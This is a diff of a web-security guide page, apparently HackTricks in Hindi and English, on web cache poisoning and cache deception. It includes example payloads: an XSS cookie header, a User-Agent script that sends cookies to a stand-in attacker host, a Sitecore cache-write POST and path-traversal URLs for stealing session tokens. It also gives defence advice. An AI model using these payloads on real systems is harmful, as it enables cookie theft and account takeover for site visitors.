|
||||
{{#endref}}
|
||||
|
||||
### CDNs के माध्यम से कैश विषाक्तता
|
||||
### Cache poisoning through CDNs
|
||||
|
||||
**[इस लेख](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** में निम्नलिखित सरल परिदृश्य को समझाया गया है:
|
||||
इस **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** में निम्नलिखित सरल परिदृश्य समझाया गया है:
|
||||
|
||||
- CDN `/share/` के तहत किसी भी चीज़ को कैश करेगा
|
||||
- CDN `%2F..%2F` को डिकोड या सामान्यीकृत नहीं करेगा, इसलिए, इसका उपयोग **अन्य संवेदनशील स्थानों तक पहुँचने के लिए पथ यात्रा के रूप में किया जा सकता है जो कैश किए जाएंगे** जैसे `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
|
||||
- वेब सर्वर `%2F..%2F` को डिकोड और सामान्यीकृत करेगा, और `/api/auth/session` के साथ प्रतिक्रिया देगा, जिसमें **प्रमाणन टोकन** शामिल है।
|
||||
- The CDN will cache anything under `/share/`
|
||||
- CDN `%2F..%2F` को decode या normalize नहीं करेगा, इसलिए इसे **path traversal to access other sensitive locations that will be cached** के रूप में इस्तेमाल किया जा सकता है, जैसे `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
|
||||
- The web server WILL decode and normalize `%2F..%2F`, और `/api/auth/session` के साथ respond करेगा, जो **contains the auth token**।
|
||||
|
||||
### कुकी-हैंडलिंग कमजोरियों का शोषण करने के लिए वेब कैश विषाक्तता का उपयोग करना
|
||||
### Using web cache poisoning to exploit cookie-handling vulnerabilities
|
||||
|
||||
कुकीज़ को एक पृष्ठ की प्रतिक्रिया पर भी परिलक्षित किया जा सकता है। यदि आप इसका दुरुपयोग करके उदाहरण के लिए XSS का कारण बन सकते हैं, तो आप उन कई क्लाइंट्स में XSS का शोषण करने में सक्षम हो सकते हैं जो दुर्भावनापूर्ण कैश प्रतिक्रिया को लोड करते हैं।
|
||||
Cookies किसी पेज के response में भी reflected हो सकती हैं। यदि आप इसे किसी XSS को trigger करने के लिए abuse कर सकें, तो आप उन कई clients में XSS का exploit कर सकते हैं जो malicious cache response को load करते हैं।
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerable.com
|
||||
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
|
||||
```
|
||||
ध्यान दें कि यदि कमजोर कुकी का उपयोग उपयोगकर्ताओं द्वारा बहुत अधिक किया जाता है, तो नियमित अनुरोध कैश को साफ कर देंगे।
|
||||
ध्यान दें कि अगर vulnerable cookie को users बहुत ज़्यादा इस्तेमाल कर रहे हैं, तो regular requests cache को साफ़ करती रहेंगी।
|
||||
|
||||
### सीमाओं, सामान्यीकरण और बिंदुओं के साथ विसंगतियों का निर्माण <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
### Delimiters, normalization और dots के साथ विसंगतियाँ उत्पन्न करना <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
जांचें:
|
||||
देखें:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
cache-poisoning-via-url-discrepancies.md
|
||||
{{#endref}}
|
||||
|
||||
### API कुंजी चुराने के लिए पथ यात्रा के साथ कैश विषाक्तता <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
### API key चुराने के लिए path traversal के साथ Cache poisoning <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
[**यह लेख समझाता है**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) कि कैसे एक URL जैसे `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` के साथ OpenAI API कुंजी चुराना संभव था क्योंकि `/share/*` से मेल खाने वाली कोई भी चीज़ कैश की जाएगी बिना Cloudflare द्वारा URL को सामान्यीकृत किए, जो तब किया गया जब अनुरोध वेब सर्वर पर पहुंचा।
|
||||
[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) कैसे एक OpenAI API key `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` जैसे URL के साथ चुराई जा सकी, क्योंकि `/share/*` से मेल खाने वाली कोई भी चीज़ Cloudflare द्वारा URL को normalise किए बिना cache हो जाती थी, और URL को normalise तब किया जाता था जब request वेब सर्वर तक पहुँचती थी।
|
||||
|
||||
यह भी बेहतर तरीके से समझाया गया है:
|
||||
|
||||
@ -116,9 +116,9 @@ cache-poisoning-via-url-discrepancies.md
|
||||
cache-poisoning-via-url-discrepancies.md
|
||||
{{#endref}}
|
||||
|
||||
### वेब कैश विषाक्तता कमजोरियों का लाभ उठाने के लिए कई हेडर का उपयोग करना <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
### web cache poisoning vulnerabilities का फायदा उठाने के लिए multiple headers का उपयोग करना <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
कभी-कभी आपको **कैश का दुरुपयोग करने के लिए कई अनकीड इनपुट्स का लाभ उठाने की आवश्यकता होगी**। उदाहरण के लिए, आप एक **ओपन रीडायरेक्ट** पा सकते हैं यदि आप `X-Forwarded-Host` को एक डोमेन पर सेट करते हैं जो आपके द्वारा नियंत्रित है और `X-Forwarded-Scheme` को `http` पर सेट करते हैं। **यदि** **सर्वर** सभी **HTTP** अनुरोधों को **HTTPS** पर **फॉरवर्ड** कर रहा है और रीडायरेक्ट के लिए डोमेन नाम के रूप में `X-Forwarded-Scheme` हेडर का उपयोग कर रहा है। आप रीडायरेक्ट द्वारा पृष्ठ को इंगित करने के स्थान को नियंत्रित कर सकते हैं।
|
||||
कभी-कभी cache का दुरुपयोग करने के लिए आपको **exploit several unkeyed inputs** करने की ज़रूरत पड़ती है। उदाहरण के लिए, अगर आप `X-Forwarded-Host` को अपने कंट्रोल वाले domain पर सेट करते हैं और `X-Forwarded-Scheme` को `http` पर सेट करते हैं, तो आपको एक **Open redirect** मिल सकता है। **If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** और redirect के लिए `X-Forwarded-Scheme` header को domain नाम के रूप में इस्तेमाल कर रहा हो, तो आप redirect द्वारा पृष्ठ कहाँ point होगा उसे control कर सकते हैं।
|
||||
```html
|
||||
GET /resources/js/tracking.js HTTP/1.1
|
||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||
@ -127,7 +127,7 @@ X-Forwarded-Scheme: http
|
||||
```
|
||||
### सीमित `Vary`header के साथ शोषण
|
||||
|
||||
यदि आप पाते हैं कि **`X-Host`** header का उपयोग **JS संसाधन लोड करने के लिए डोमेन नाम के रूप में** किया जा रहा है लेकिन प्रतिक्रिया में **`Vary`** header **`User-Agent`** को इंगित कर रहा है। तो, आपको पीड़ित के User-Agent को निकालने और उस उपयोगकर्ता एजेंट का उपयोग करके कैश को विषाक्त करने का एक तरीका खोजना होगा:
|
||||
यदि आपने पाया कि **`X-Host`** header को **domain name to load a JS resource** के रूप में उपयोग किया जा रहा है, लेकिन response में **`Vary`** header **`User-Agent`** सूचित कर रहा है। तब, आपको किसी तरह पीड़ित का **`User-Agent`** exfiltrate करने और उस user agent का उपयोग करके cache को poison करने का तरीका खोजना होगा:
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerbale.net
|
||||
@ -136,7 +136,7 @@ X-Host: attacker.com
|
||||
```
|
||||
### Fat Get
|
||||
|
||||
URL में अनुरोध और शरीर में अनुरोध के साथ GET अनुरोध भेजें। यदि वेब सर्वर शरीर से एक का उपयोग करता है लेकिन कैश सर्वर URL से एक को कैश करता है, तो उस URL को एक्सेस करने वाला कोई भी व्यक्ति वास्तव में शरीर से पैरामीटर का उपयोग करेगा। जैसे कि vuln जो जेम्स केटल ने Github वेबसाइट पर पाया:
|
||||
एक GET request भेजें जिसमें अनुरोध URL और body दोनों में मौजूद हो। यदि web server body में मौजूद वाले को उपयोग करता है लेकिन cache server URL में मौजूद वाले को cache कर लेता है, तो जो भी उस URL तक पहुँचेगा वास्तव में body से आए parameter का उपयोग करेगा। जैसे कि James Kettle ने Github website पर पाया हुआ vuln:
|
||||
```
|
||||
GET /contact/report-abuse?report=albinowax HTTP/1.1
|
||||
Host: github.com
|
||||
@ -145,39 +145,39 @@ Content-Length: 22
|
||||
|
||||
report=innocent-victim
|
||||
```
|
||||
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
|
||||
There is a PortSwigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
|
||||
|
||||
### Parameter Cloaking
|
||||
### Parameter Cloacking
|
||||
|
||||
उदाहरण के लिए, **parameters** को ruby सर्वरों में **`;`** अक्षर का उपयोग करके **`&`** के बजाय अलग किया जा सकता है। इसका उपयोग कुंजी रहित पैरामीटर मानों को कुंजी वाले में डालने और उनका दुरुपयोग करने के लिए किया जा सकता है।
|
||||
उदाहरण के लिए ruby सर्वरों में **parameters** को अलग करने के लिए char **`;`** का उपयोग **`&`** की बजाय किया जा सकता है। यह unkeyed parameters values को keyed ones के अंदर डालने और उनका दुरुपयोग करने के लिए इस्तेमाल किया जा सकता है।
|
||||
|
||||
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
|
||||
|
||||
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
|
||||
|
||||
यहां जानें कि [Cache Poisoning हमलों को HTTP Request Smuggling का दुरुपयोग करके कैसे किया जाए](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)।
|
||||
यहां सीखें कि कैसे [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning) को अंजाम दिया जाता है।
|
||||
|
||||
### Automated testing for Web Cache Poisoning
|
||||
|
||||
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) का उपयोग वेब कैश पॉइज़निंग के लिए स्वचालित रूप से परीक्षण करने के लिए किया जा सकता है। यह कई विभिन्न तकनीकों का समर्थन करता है और अत्यधिक अनुकूलन योग्य है।
|
||||
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) का उपयोग web cache poisoning के लिए स्वतः परीक्षण करने हेतु किया जा सकता है। यह कई अलग-अलग techniques को सपोर्ट करता है और highly customizable है।
|
||||
|
||||
Example usage: `wcvs -u example.com`
|
||||
|
||||
### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
|
||||
|
||||
यह वास्तविक दुनिया का पैटर्न एक हेडर-आधारित परावर्तन प्राइमिटिव को CDN/WAF व्यवहार के साथ जोड़ता है ताकि अन्य उपयोगकर्ताओं को सेवा देने के लिए कैश किए गए HTML को विश्वसनीय रूप से ज़हर दिया जा सके:
|
||||
यह वास्तविक दुनिया का पैटर्न एक header-based reflection primitive को CDN/WAF व्यवहार के साथ जोड़ता है ताकि अन्य उपयोगकर्ताओं को परोसे जाने वाले cached HTML को विश्वसनीय रूप से poison किया जा सके:
|
||||
|
||||
- मुख्य HTML ने एक अविश्वसनीय अनुरोध हेडर (जैसे, `User-Agent`) को निष्पादन योग्य संदर्भ में परावर्तित किया।
|
||||
- CDN ने कैश हेडर को हटा दिया लेकिन एक आंतरिक/मूल कैश मौजूद था। CDN ने स्थिर एक्सटेंशन (जैसे, `.js`) में समाप्त होने वाले अनुरोधों को भी स्वचालित रूप से कैश किया, जबकि WAF ने स्थिर संपत्तियों के लिए GETs पर कमजोर सामग्री निरीक्षण लागू किया।
|
||||
- अनुरोध प्रवाह की विचित्रताएँ एक `.js` पथ के लिए अनुरोध को मुख्य HTML के लिए उपयोग किए जाने वाले कैश कुंजी/वैरिएंट को प्रभावित करने की अनुमति देती हैं, जिससे हेडर परावर्तन के माध्यम से क्रॉस-यूजर XSS सक्षम होता है।
|
||||
- मुख्य HTML ने एक untrusted request header (e.g., `User-Agent`) को executable context में reflect किया।
|
||||
- CDN ने cache headers को strip कर दिया पर internal/origin cache मौजूद था। CDN ने static extensions (e.g., `.js`) वाले requests को auto-cache भी किया, जबकि WAF ने static assets के GETs के लिए कम कड़ाई से content inspection लागू किया।
|
||||
- Request flow के quirks ने `.js` path पर एक request को subsequent main HTML के cache key/variant को प्रभावित करने की अनुमति दी, जिससे header reflection के माध्यम से cross-user XSS सक्षम हुआ।
|
||||
|
||||
Practical recipe (observed across a popular CDN/WAF):
|
||||
|
||||
1) एक साफ IP से (पूर्व की प्रतिष्ठा-आधारित डाउनग्रेड से बचें), ब्राउज़र या Burp Proxy Match & Replace के माध्यम से एक दुर्भावनापूर्ण `User-Agent` सेट करें।
|
||||
2) Burp Repeater में, दो अनुरोधों के एक समूह को तैयार करें और "Send group in parallel" का उपयोग करें (एकल-पैकेट मोड सबसे अच्छा काम करता है):
|
||||
- पहला अनुरोध: एक ही मूल पर एक `.js` संसाधन पथ GET करें जबकि आप अपना दुर्भावनापूर्ण `User-Agent` भेज रहे हैं।
|
||||
- तुरंत बाद: मुख्य पृष्ठ GET करें (`/`)।
|
||||
3) CDN/WAF रूटिंग दौड़ के साथ-साथ स्वचालित रूप से कैश किया गया `.js` अक्सर एक ज़हरीला कैश किए गए HTML वैरिएंट को बीज देता है जो फिर अन्य आगंतुकों को सेवा दी जाती है जो समान कैश कुंजी की शर्तें साझा करते हैं (जैसे, समान `Vary` आयाम जैसे `User-Agent`)।
|
||||
1) From a clean IP (avoid prior reputation-based downgrades), set a malicious `User-Agent` via browser or Burp Proxy Match & Replace.
|
||||
2) In Burp Repeater, prepare a group of two requests and use "Send group in parallel" (single-packet mode works best):
|
||||
- First request: GET a `.js` resource path on the same origin while sending your malicious `User-Agent`.
|
||||
- Immediately after: GET the main page (`/`).
|
||||
3) The CDN/WAF routing race plus the auto-cached `.js` often seeds a poisoned cached HTML variant that is then served to other visitors sharing the same cache key conditions (e.g., same `Vary` dimensions like `User-Agent`).
|
||||
|
||||
Example header payload (to exfiltrate non-HttpOnly cookies):
|
||||
```
|
||||
@ -185,86 +185,103 @@ User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oas
|
||||
```
|
||||
ऑपरेशनल टिप्स:
|
||||
|
||||
- कई CDNs कैश हेडर छिपाते हैं; जहर देना केवल बहु-घंटे के रिफ्रेश चक्रों पर दिखाई दे सकता है। दर सीमित करने या प्रतिष्ठा ट्रिगर्स से बचने के लिए कई दृष्टिकोण IPs का उपयोग करें और थ्रॉटल करें।
|
||||
- CDN के अपने क्लाउड से IP का उपयोग करने से कभी-कभी रूटिंग स्थिरता में सुधार होता है।
|
||||
- यदि एक सख्त CSP मौजूद है, तो यह तब भी काम करता है जब परावर्तन मुख्य HTML संदर्भ में निष्पादित होता है और CSP इनलाइन निष्पादन की अनुमति देता है या संदर्भ द्वारा बायपास किया जाता है।
|
||||
- कई CDNs कैश हेडर छुपाते हैं; poisoning कई घंटे के रिफ्रेश साइकिल पर ही दिखाई दे सकता है। rate-limit या reputation ट्रिगर्स से बचने के लिए multiple vantage IPs का उपयोग करें और throttle करें।
|
||||
- CDN के अपने cloud से एक IP का उपयोग करने से कभी‑कभी routing consistency बेहतर होती है।
|
||||
- अगर strict CSP मौजूद है, तब भी यह तब काम करता है जब reflection main HTML context में execute हो और CSP inline execution की अनुमति दे या context द्वारा bypass हो।
|
||||
|
||||
प्रभाव:
|
||||
|
||||
- यदि सत्र कुकीज़ `HttpOnly` नहीं हैं, तो सभी उपयोगकर्ताओं से `document.cookie` को बड़े पैमाने पर निकालकर शून्य-क्लिक ATO संभव है जिन्हें जहर दिया गया HTML परोसा गया है।
|
||||
- अगर session cookies `HttpOnly` नहीं हैं, तो poisoned HTML सर्व किए जाने वाले सभी users से `document.cookie` को mass-exfiltrate करके zero-click ATO संभव है।
|
||||
|
||||
रक्षा:
|
||||
|
||||
- HTML में अनुरोध हेडर को परावर्तित करना बंद करें; यदि अनिवार्य हो तो सख्ती से संदर्भ-कोडित करें। CDN और मूल कैश नीतियों को संरेखित करें और अविश्वसनीय हेडर पर भिन्नता से बचें।
|
||||
- सुनिश्चित करें कि WAF `.js` अनुरोधों और स्थिर पथों पर सामग्री निरीक्षण को लगातार लागू करता है।
|
||||
- सत्र कुकीज़ पर `HttpOnly` (और `Secure`, `SameSite`) सेट करें।
|
||||
- request headers को HTML में reflect करना बंद करें; अगर अनिवार्य हो तो उन्हें strictly context-encode करें। CDN और origin के cache policies को align करें और untrusted headers पर vary करने से बचें।
|
||||
- सुनिश्चित करें कि WAF `.js` requests और static paths पर content inspection लगातार लागू करता है।
|
||||
- `HttpOnly` (और `Secure`, `SameSite`) को session cookies पर सेट करें।
|
||||
|
||||
## कमजोर उदाहरण
|
||||
### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
|
||||
|
||||
### Apache ट्रैफिक सर्वर ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
||||
A Sitecore‑specific pattern unauthenticated writes को HtmlCache में सक्षम बनाता है by abusing pre‑auth XAML handlers और AjaxScriptManager reflection. जब `Sitecore.Shell.Xaml.WebControl` handler पहुंच जाता है, तब एक `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) उपलब्ध होता है और निम्नलिखित reflective call की अनुमति दी जाती है:
|
||||
```
|
||||
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
ATS ने URL के अंदर के अंश को बिना हटाए अग्रेषित किया और केवल होस्ट, पथ और क्वेरी का उपयोग करके कैश कुंजी उत्पन्न की (अंश की अनदेखी करते हुए)। इसलिए अनुरोध `/#/../?r=javascript:alert(1)` को बैकएंड पर `/#/../?r=javascript:alert(1)` के रूप में भेजा गया और कैश कुंजी में केवल होस्ट, पथ और क्वेरी थी, इसमें पेलोड नहीं था।
|
||||
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
|
||||
```
|
||||
This writes arbitrary HTML under an attacker‑chosen cache key, enabling precise poisoning once cache keys are known.
|
||||
|
||||
For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-web/sitecore/README.md
|
||||
{{#endref}}
|
||||
|
||||
## कमजोरियों के उदाहरण
|
||||
|
||||
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
||||
|
||||
ATS ने URL के अंदर का fragment बिना strip किए आगे भेज दिया और cache key केवल host, path और query का उपयोग करके बनाया (fragment को ignore करते हुए)। इसलिए request `/#/../?r=javascript:alert(1)` backend को `/#/../?r=javascript:alert(1)` के रूप में भेजा गया और cache key में payload नहीं था — केवल host, path और query मौजूद थे।
|
||||
|
||||
### GitHub CP-DoS
|
||||
|
||||
सामग्री-प्रकार हेडर में एक खराब मान भेजने से 405 कैश प्रतिक्रिया उत्पन्न हुई। कैश कुंजी में कुकी शामिल थी, इसलिए केवल अनधिकृत उपयोगकर्ताओं पर हमला करना संभव था।
|
||||
content-type header में गलत मान भेजने पर 405 cached response ट्रिगर हुई। cache key में cookie शामिल था इसलिए यह केवल unauth users पर हमला करने योग्य था।
|
||||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
GitLab स्थिर सामग्री को स्टोर करने के लिए GCP बकेट का उपयोग करता है। **GCP बकेट** **हेडर `x-http-method-override`** का समर्थन करते हैं। इसलिए हेडर `x-http-method-override: HEAD` भेजना संभव था और कैश को खाली प्रतिक्रिया शरीर लौटाने के लिए जहर देना संभव था। यह `PURGE` विधि का भी समर्थन कर सकता था।
|
||||
GitLab static content स्टोर करने के लिए GCP buckets का उपयोग करता है। GCP Buckets `x-http-method-override` header को सपोर्ट करते हैं। इसलिए `x-http-method-override: HEAD` header भेज कर cache को empty response body लौटाने के लिए poison किया जा सकता था। यह `PURGE` method को भी सपोर्ट कर सकता था।
|
||||
|
||||
### रैक मिडलवेयर (Ruby on Rails)
|
||||
### Rack Middleware (Ruby on Rails)
|
||||
|
||||
Ruby on Rails अनुप्रयोगों में, रैक मिडलवेयर का अक्सर उपयोग किया जाता है। रैक कोड का उद्देश्य **`x-forwarded-scheme`** हेडर के मान को लेना और इसे अनुरोध की योजना के रूप में सेट करना है। जब हेडर `x-forwarded-scheme: http` भेजा जाता है, तो उसी स्थान पर 301 रीडायरेक्ट होता है, जो उस संसाधन के लिए सेवा से इनकार (DoS) का कारण बन सकता है। इसके अतिरिक्त, अनुप्रयोग `X-forwarded-host` हेडर को मान्यता दे सकता है और उपयोगकर्ताओं को निर्दिष्ट होस्ट पर रीडायरेक्ट कर सकता है। यह व्यवहार हमलावर के सर्वर से JavaScript फ़ाइलों को लोड करने का कारण बन सकता है, जो सुरक्षा जोखिम पैदा करता है।
|
||||
Ruby on Rails एप्लिकेशन में Rack middleware अक्सर उपयोग होता है। Rack code का उद्देश्य `x-forwarded-scheme` header का मान लेकर उसे request के scheme के रूप में सेट करना है। जब `x-forwarded-scheme: http` भेजा जाता है, तो same location पर 301 redirect होता है, जिससे उस resource के लिए Denial of Service (DoS) हो सकता है। अतिरिक्त रूप से, एप्लिकेशन `X-forwarded-host` header को स्वीकार कर सकता है और यूज़र्स को निर्दिष्ट host पर redirect कर सकता है। यह व्यवहार attacker's server से JavaScript फाइलें लोड होने का जोखिम पैदा कर सकता है।
|
||||
|
||||
### 403 और स्टोरेज बकेट
|
||||
### 403 and Storage Buckets
|
||||
|
||||
Cloudflare ने पहले 403 प्रतिक्रियाओं को कैश किया। गलत प्राधिकरण हेडर के साथ S3 या Azure स्टोरेज ब्लॉब्स तक पहुँचने का प्रयास करने पर 403 प्रतिक्रिया उत्पन्न होती थी जो कैश हो जाती थी। हालांकि Cloudflare ने 403 प्रतिक्रियाओं को कैश करना बंद कर दिया है, यह व्यवहार अन्य प्रॉक्सी सेवाओं में अभी भी मौजूद हो सकता है।
|
||||
Cloudflare पहले 403 responses को cache करता था। गलत Authorization headers के साथ S3 या Azure Storage Blobs तक पहुँचने का प्रयास करने पर 403 response आता था जो cached हो जाता था। हालांकि Cloudflare ने 403 responses को cache करना बंद कर दिया है, यह व्यवहार अन्य proxy सेवाओं में अभी भी मौजूद हो सकता है।
|
||||
|
||||
### कीड पैरामीटर इंजेक्ट करना
|
||||
### Injecting Keyed Parameters
|
||||
|
||||
कैश अक्सर कैश कुंजी में विशिष्ट GET पैरामीटर शामिल करते हैं। उदाहरण के लिए, Fastly का Varnish अनुरोधों में `size` पैरामीटर को कैश करता है। हालाँकि, यदि पैरामीटर का URL-कोडित संस्करण (जैसे, `siz%65`) भी एक गलत मान के साथ भेजा गया, तो कैश कुंजी सही `size` पैरामीटर का उपयोग करके बनाई जाएगी। फिर भी, बैकएंड URL-कोडित पैरामीटर में मान को संसाधित करेगा। दूसरे `size` पैरामीटर को URL-कोडिंग करने से इसे कैश द्वारा छोड़ दिया गया लेकिन बैकएंड द्वारा उपयोग किया गया। इस पैरामीटर को 0 का मान देने से कैश योग्य 400 बैड अनुरोध त्रुटि उत्पन्न हुई।
|
||||
Caches अक्सर cache key में specific GET parameters को शामिल करते हैं। उदाहरण के लिए, Fastly का Varnish requests में `size` parameter को cache करता था। हालांकि, अगर parameter का URL-encoded version (जैसे `siz%65`) भी गलत वैल्यू के साथ भेजा गया, तो cache key सही `size` parameter का उपयोग करके बनाया जाता। पर backend URL-encoded parameter के मान को process करेगा। दूसरे `size` parameter को URL-encode करने से यह cache द्वारा omit हो जाता था पर backend द्वारा उपयोग किया जाता था। इस parameter को 0 देने पर cacheable 400 Bad Request error मिल जाती थी।
|
||||
|
||||
### उपयोगकर्ता एजेंट नियम
|
||||
### User Agent Rules
|
||||
|
||||
कुछ डेवलपर्स उच्च-ट्रैफ़िक उपकरणों जैसे FFUF या Nuclei के मिलते-जुलते उपयोगकर्ता-एजेंट के साथ अनुरोधों को ब्लॉक करते हैं ताकि सर्वर लोड को प्रबंधित किया जा सके। विडंबना यह है कि यह दृष्टिकोण कैश जहर देने और DoS जैसी कमजोरियों को पेश कर सकता है।
|
||||
कुछ डेवलपर्स high-traffic tools जैसे FFUF या Nuclei के user-agents वाले requests को server load manage करने के लिए block करते हैं। Ironically, यह तरीका cache poisoning और DoS जैसी कमजोरियाँ ला सकता है।
|
||||
|
||||
### अवैध हेडर फ़ील्ड
|
||||
### Illegal Header Fields
|
||||
|
||||
[आरएफसी7230](https://datatracker.ietf.mrg/doc/html/rfc7230) हेडर नामों में स्वीकार्य वर्णों को निर्दिष्ट करता है। हेडर में निर्दिष्ट **tchar** रेंज के बाहर के वर्णों को शामिल करने वाले हेडर को आदर्श रूप से 400 बैड अनुरोध प्रतिक्रिया उत्पन्न करनी चाहिए। व्यवहार में, सर्वर हमेशा इस मानक का पालन नहीं करते हैं। एक उल्लेखनीय उदाहरण Akamai है, जो अवैध वर्णों वाले हेडर को अग्रेषित करता है और किसी भी 400 त्रुटि को कैश करता है, जब तक कि `cache-control` हेडर मौजूद नहीं है। एक शोषण योग्य पैटर्न पहचाना गया था जहां अवैध वर्ण जैसे `\` वाला हेडर भेजने से कैश योग्य 400 बैड अनुरोध त्रुटि उत्पन्न होती है।
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) header names में स्वीकार्य characters को निर्दिष्ट करता है। ऐसे headers जिनमें निर्दिष्ट **tchar** range के बाहर के characters हों, ideally 400 Bad Request response ट्रिगर करना चाहिए। वास्तविकता में, सर्वर हमेशा इस standard का पालन नहीं करते। एक उल्लेखनीय उदाहरण Akamai है, जो invalid characters वाले headers को आगे भेजता है और किसी भी 400 error को cache कर देता है, बशर्ते कि `cache-control` header मौजूद न हो। एक exploitable pattern में illegal character भेजने (जैसे `\`) पर cacheable 400 Bad Request error मिलती थी।
|
||||
|
||||
### नए हेडर खोजना
|
||||
### Finding new headers
|
||||
|
||||
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
|
||||
|
||||
## कैश धोखा
|
||||
## Cache Deception
|
||||
|
||||
कैश धोखे का लक्ष्य ग्राहकों को **ऐसे संसाधन लोड करने के लिए मजबूर करना है जो कैश द्वारा उनके संवेदनशील जानकारी के साथ सहेजे जाने वाले हैं**।
|
||||
उद्देश्य यह है कि clients उन resources को load करें जिन्हें cache उनके sensitive information के साथ save करने वाला है।
|
||||
|
||||
सबसे पहले ध्यान दें कि **एक्सटेंशन** जैसे `.css`, `.js`, `.png` आदि आमतौर पर **कैश में सहेजे जाने के लिए कॉन्फ़िगर** किए जाते हैं। इसलिए, यदि आप `www.example.com/profile.php/nonexistent.js` तक पहुँचते हैं, तो कैश संभवतः प्रतिक्रिया को सहेज लेगा क्योंकि यह `.js` **एक्सटेंशन** को देखता है। लेकिन, यदि **अनुप्रयोग** _www.example.com/profile.php_ में संग्रहीत **संवेदनशील** उपयोगकर्ता सामग्री के साथ **पुनः खेल रहा है**, तो आप अन्य उपयोगकर्ताओं से उन सामग्रियों को **चुरा** सकते हैं।
|
||||
सबसे पहले ध्यान दें कि extensions जैसे `.css`, `.js`, `.png` आदि आमतौर पर cache में save करने के लिए configured होते हैं। इसलिए, अगर आप `www.example.com/profile.php/nonexistent.js` एक्सेस करते हैं तो cache संभवतः response को store कर लेगा क्योंकि इसे `.js` extension दिखता है। लेकिन, अगर application `www.example.com/profile.php` में stored sensitive user contents के साथ reply कर रहा है, तो आप उन contents को अन्य users से चोरी कर सकते हैं।
|
||||
|
||||
परीक्षण करने के लिए अन्य चीजें:
|
||||
अन्य चीजें जिन्हें टेस्ट करना चाहिए:
|
||||
|
||||
- _www.example.com/profile.php/.js_
|
||||
- _www.example.com/profile.php/.css_
|
||||
- _www.example.com/profile.php/test.js_
|
||||
- _www.example.com/profile.php/../test.js_
|
||||
- _www.example.com/profile.php/%2e%2e/test.js_
|
||||
- _कम ज्ञात एक्सटेंशन का उपयोग करें जैसे_ `.avif`
|
||||
- _Use lesser known extensions such as_ `.avif`
|
||||
|
||||
एक और बहुत स्पष्ट उदाहरण इस लेख में पाया जा सकता है: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
|
||||
